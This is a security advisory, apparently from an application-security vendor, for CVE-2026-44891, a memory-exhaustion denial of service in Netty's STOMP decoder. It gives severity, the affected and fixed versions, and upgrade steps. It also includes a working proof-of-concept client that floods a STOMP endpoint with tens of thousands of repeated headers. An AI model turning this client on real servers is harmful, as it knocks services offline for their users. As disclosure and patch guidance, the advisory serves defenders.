CVE-2026-44891

Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-44891 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.16.Final, 4.1.136.Final); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-44891? CVE-2026-44891 is a high-severity uncontrolled resource consumption vulnerability in io.netty:netty-codec-stomp (maven), affecting versions >= 4.2.0.Alpha1, <= 4.2.15.Final. It is fixed in 4.2.16.Final, 4.1.136.Final. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-44891? CVE-2026-44891 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.netty:netty-codec-stomp are affected by CVE-2026-44891? io.netty:netty-codec-stomp (maven) versions >= 4.2.0.Alpha1, <= 4.2.15.Final is affected.
4. Is there a fix for CVE-2026-44891? Yes. CVE-2026-44891 is fixed in 4.2.16.Final, 4.1.136.Final. Upgrade to this version or later.
5. Is CVE-2026-44891 exploitable, and should I be worried? Whether CVE-2026-44891 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44891 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44891?
   • Upgrade io.netty:netty-codec-stomp to 4.2.16.Final or later
   • Upgrade io.netty:netty-codec-stomp to 4.1.136.Final or later